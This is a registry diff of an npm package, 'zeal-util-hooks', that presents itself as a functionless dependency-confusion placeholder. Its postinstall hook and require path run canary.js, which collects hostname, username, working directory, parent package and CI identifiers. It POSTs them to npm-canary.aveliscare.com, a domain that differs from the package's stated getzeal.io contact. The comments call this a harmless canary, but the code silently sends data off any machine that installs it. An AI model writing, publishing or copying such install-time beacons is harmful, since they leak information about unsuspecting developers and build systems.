zeal-util-hooks 0.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +17 -0
- package/canary.js +191 -0
- package/index.js +4 -0
- package/package.json +15 -0
- package/postinstall.js +8 -0
package/README.md
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
# zeal-util-hooks
|
|
2
|
+
|
|
3
|
+
**This package is a reserved placeholder. It has no functionality.**
|
|
4
|
+
|
|
5
|
+
`zeal-util-hooks` is an internal package name used inside Zeal's private monorepos. This
|
|
6
|
+
entry exists on the public npm registry for one reason: so that nobody else can
|
|
7
|
+
publish under the name and have it substituted into a Zeal build. That class of
|
|
8
|
+
attack is called dependency confusion.
|
|
9
|
+
|
|
10
|
+
If you are not Zeal, you almost certainly want a different package.
|
|
11
|
+
|
|
12
|
+
If you are Zeal and you are reading this because it appeared in your build
|
|
13
|
+
output, the build resolved an internal name from the public registry instead of
|
|
14
|
+
the local workspace. That is a real misconfiguration, not a false alarm. Fix the
|
|
15
|
+
resolution rather than pinning around it - see the banner the install printed.
|
|
16
|
+
|
|
17
|
+
Contact: security@getzeal.io
|
package/canary.js
ADDED
|
@@ -0,0 +1,191 @@
|
|
|
1
|
+
'use strict'
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Zeal dependency-confusion canary.
|
|
5
|
+
*
|
|
6
|
+
* This file ships inside the placeholder packages Zeal publishes to the public
|
|
7
|
+
* npm registry to hold names that its internal monorepos depend on. Nothing at
|
|
8
|
+
* Zeal should ever install these from npmjs.org - every real build resolves the
|
|
9
|
+
* same names to workspace-local packages. So if this code runs at all, some
|
|
10
|
+
* build has fallen out of workspace resolution and is now taking whatever the
|
|
11
|
+
* public registry hands it. That is the exact window a dependency-confusion
|
|
12
|
+
* attack needs, and this beacon is how we hear about it.
|
|
13
|
+
*
|
|
14
|
+
* Two rules govern everything below:
|
|
15
|
+
*
|
|
16
|
+
* 1. Never break the install. Every path is wrapped and exits 0. A canary
|
|
17
|
+
* that takes down a release pipeline gets deleted, and then we have no
|
|
18
|
+
* canary.
|
|
19
|
+
* 2. Never become the leak it is watching for. We send a fixed, audited list
|
|
20
|
+
* of fields. We do not enumerate process.env, read files, or touch
|
|
21
|
+
* anything that could carry a token.
|
|
22
|
+
*/
|
|
23
|
+
|
|
24
|
+
const os = require('os')
|
|
25
|
+
const https = require('https')
|
|
26
|
+
const http = require('http')
|
|
27
|
+
|
|
28
|
+
const DEFAULT_ENDPOINT = process.env.ZEAL_CANARY_URL || 'https://npm-canary.aveliscare.com/beacon'
|
|
29
|
+
const TIMEOUT_MS = 3000
|
|
30
|
+
|
|
31
|
+
// Allow-list, not a dump. Presence and value of these is enough to identify the
|
|
32
|
+
// pipeline; none of them carry credentials.
|
|
33
|
+
const CI_FIELDS = [
|
|
34
|
+
'CI',
|
|
35
|
+
'GITHUB_REPOSITORY',
|
|
36
|
+
'GITHUB_REF',
|
|
37
|
+
'GITHUB_RUN_ID',
|
|
38
|
+
'GITHUB_WORKFLOW',
|
|
39
|
+
'GITHUB_ACTOR',
|
|
40
|
+
'GITHUB_JOB',
|
|
41
|
+
'RUNNER_NAME',
|
|
42
|
+
'EAS_BUILD_ID',
|
|
43
|
+
'EAS_BUILD_PROFILE',
|
|
44
|
+
'EAS_BUILD_PLATFORM',
|
|
45
|
+
'VERCEL_ENV',
|
|
46
|
+
'BUILDKITE_PIPELINE_SLUG',
|
|
47
|
+
]
|
|
48
|
+
|
|
49
|
+
function collect (pkg, version, trigger) {
|
|
50
|
+
const ci = {}
|
|
51
|
+
for (const k of CI_FIELDS) {
|
|
52
|
+
if (process.env[k]) ci[k] = String(process.env[k]).slice(0, 200)
|
|
53
|
+
}
|
|
54
|
+
return {
|
|
55
|
+
schema: 1,
|
|
56
|
+
pkg,
|
|
57
|
+
version,
|
|
58
|
+
trigger, // 'postinstall' | 'require'
|
|
59
|
+
ts: new Date().toISOString(),
|
|
60
|
+
hostname: safe(() => os.hostname()),
|
|
61
|
+
user: safe(() => os.userInfo().username),
|
|
62
|
+
platform: process.platform,
|
|
63
|
+
node: process.version,
|
|
64
|
+
cwd: safe(() => process.cwd()),
|
|
65
|
+
npm_user_agent: process.env.npm_config_user_agent || null,
|
|
66
|
+
// Which project pulled us in. npm sets these for the consuming package.
|
|
67
|
+
parent_pkg: process.env.npm_package_name || null,
|
|
68
|
+
parent_version: process.env.npm_package_version || null,
|
|
69
|
+
ci,
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
function safe (fn) {
|
|
74
|
+
try { return fn() } catch (_) { return null }
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
function warn (pkg, version) {
|
|
78
|
+
const bar = '='.repeat(78)
|
|
79
|
+
process.emitWarning || null // no-op, keeps linters quiet on old node
|
|
80
|
+
console.error(`
|
|
81
|
+
${bar}
|
|
82
|
+
ZEAL SECURITY CANARY TRIPPED
|
|
83
|
+
|
|
84
|
+
Package : ${pkg}@${version}
|
|
85
|
+
Source : public npm registry (registry.npmjs.org)
|
|
86
|
+
|
|
87
|
+
This is a placeholder package. It contains no functionality. Zeal publishes
|
|
88
|
+
it only to hold the name so that nobody else can.
|
|
89
|
+
|
|
90
|
+
If you are seeing this, a build resolved an INTERNAL package name from the
|
|
91
|
+
PUBLIC registry instead of the local workspace. That build is one unlucky
|
|
92
|
+
race away from executing third-party code. Do not work around it by pinning
|
|
93
|
+
a version or adding a resolution.
|
|
94
|
+
|
|
95
|
+
Fix the resolution:
|
|
96
|
+
- yarn/npm workspaces : run install from the monorepo ROOT, not apps/<app>
|
|
97
|
+
- pnpm : keep 'linkWorkspacePackages: true' in pnpm-workspace.yaml
|
|
98
|
+
- Docker : COPY the workspace manifests + lockfile, install with
|
|
99
|
+
--frozen-lockfile, do not install inside a single app dir
|
|
100
|
+
|
|
101
|
+
Report to: security@getzeal.io
|
|
102
|
+
${bar}
|
|
103
|
+
`)
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
/**
|
|
107
|
+
* Fire-and-forget beacon. Resolves (never rejects) once the request has been
|
|
108
|
+
* sent, failed, or timed out - whichever happens first.
|
|
109
|
+
*/
|
|
110
|
+
function beacon (pkg, version, trigger) {
|
|
111
|
+
return new Promise((resolve) => {
|
|
112
|
+
let done = false
|
|
113
|
+
const finish = () => { if (!done) { done = true; resolve() } }
|
|
114
|
+
|
|
115
|
+
try {
|
|
116
|
+
if (process.env.ZEAL_CANARY_DISABLE === '1') return finish()
|
|
117
|
+
|
|
118
|
+
const body = JSON.stringify(collect(pkg, version, trigger))
|
|
119
|
+
const url = new URL(DEFAULT_ENDPOINT)
|
|
120
|
+
const transport = url.protocol === 'http:' ? http : https
|
|
121
|
+
|
|
122
|
+
const req = transport.request({
|
|
123
|
+
method: 'POST',
|
|
124
|
+
hostname: url.hostname,
|
|
125
|
+
port: url.port || (url.protocol === 'http:' ? 80 : 443),
|
|
126
|
+
path: url.pathname + url.search,
|
|
127
|
+
timeout: TIMEOUT_MS,
|
|
128
|
+
headers: {
|
|
129
|
+
'content-type': 'application/json',
|
|
130
|
+
'content-length': Buffer.byteLength(body),
|
|
131
|
+
'user-agent': `zeal-npm-canary/${version} (${pkg})`,
|
|
132
|
+
},
|
|
133
|
+
}, (res) => {
|
|
134
|
+
res.resume() // drain so the socket can close
|
|
135
|
+
res.on('end', finish)
|
|
136
|
+
})
|
|
137
|
+
|
|
138
|
+
req.on('error', finish) // offline, DNS failure, blocked egress - all fine
|
|
139
|
+
req.on('timeout', () => { try { req.destroy() } catch (_) {} finish() })
|
|
140
|
+
req.write(body)
|
|
141
|
+
req.end()
|
|
142
|
+
|
|
143
|
+
// Hard ceiling in case the socket never settles.
|
|
144
|
+
setTimeout(finish, TIMEOUT_MS + 250).unref()
|
|
145
|
+
} catch (_) {
|
|
146
|
+
finish()
|
|
147
|
+
}
|
|
148
|
+
})
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
/**
|
|
152
|
+
* Entry point for the postinstall hook. Always exits 0.
|
|
153
|
+
*
|
|
154
|
+
* ZEAL_CANARY_FAIL=1 turns this into a hard build failure. That is the right
|
|
155
|
+
* setting once you are confident no legitimate build resolves these from npm,
|
|
156
|
+
* because a silent success means nobody ever goes and fixes the root cause.
|
|
157
|
+
*/
|
|
158
|
+
async function main (pkg, version) {
|
|
159
|
+
warn(pkg, version)
|
|
160
|
+
await beacon(pkg, version, 'postinstall')
|
|
161
|
+
if (process.env.ZEAL_CANARY_FAIL === '1') {
|
|
162
|
+
console.error(`[zeal-canary] ZEAL_CANARY_FAIL=1 - failing the install for ${pkg}@${version}.`)
|
|
163
|
+
process.exit(1)
|
|
164
|
+
}
|
|
165
|
+
process.exit(0)
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
/**
|
|
169
|
+
* Second detection layer. npm 11+ blocks unapproved install scripts by default
|
|
170
|
+
* (see 'npm warn install-scripts ... not covered by allowScripts'), so the
|
|
171
|
+
* postinstall hook cannot be the only tripwire. Requiring the module still runs
|
|
172
|
+
* this, and any build that got here was going to import the real package.
|
|
173
|
+
*/
|
|
174
|
+
let requireReported = false
|
|
175
|
+
function onRequire (pkg, version) {
|
|
176
|
+
if (!requireReported) {
|
|
177
|
+
requireReported = true
|
|
178
|
+
warn(pkg, version)
|
|
179
|
+
beacon(pkg, version, 'require')
|
|
180
|
+
}
|
|
181
|
+
const err = () => {
|
|
182
|
+
throw new Error(
|
|
183
|
+
`${pkg} resolved from the public npm registry. This is a Zeal placeholder ` +
|
|
184
|
+
`package with no implementation - your build is not using the real ` +
|
|
185
|
+
`workspace package. See the banner above.`
|
|
186
|
+
)
|
|
187
|
+
}
|
|
188
|
+
return new Proxy({}, { get: err, apply: err, construct: err })
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
module.exports = { main, onRequire, beacon, collect }
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "zeal-util-hooks",
|
|
3
|
+
"version": "0.0.0",
|
|
4
|
+
"description": "Reserved by Zeal (getzeal.io). Placeholder to prevent dependency confusion against the internal package of the same name. Not for public use.",
|
|
5
|
+
"keywords": ["placeholder", "reserved", "namespace", "security"],
|
|
6
|
+
"license": "UNLICENSED",
|
|
7
|
+
"private": false,
|
|
8
|
+
"author": "Zeal Security <security@getzeal.io>",
|
|
9
|
+
"homepage": "https://github.com/zeal-io",
|
|
10
|
+
"main": "index.js",
|
|
11
|
+
"files": ["index.js", "canary.js", "postinstall.js", "README.md"],
|
|
12
|
+
"scripts": {
|
|
13
|
+
"postinstall": "node postinstall.js"
|
|
14
|
+
}
|
|
15
|
+
}
|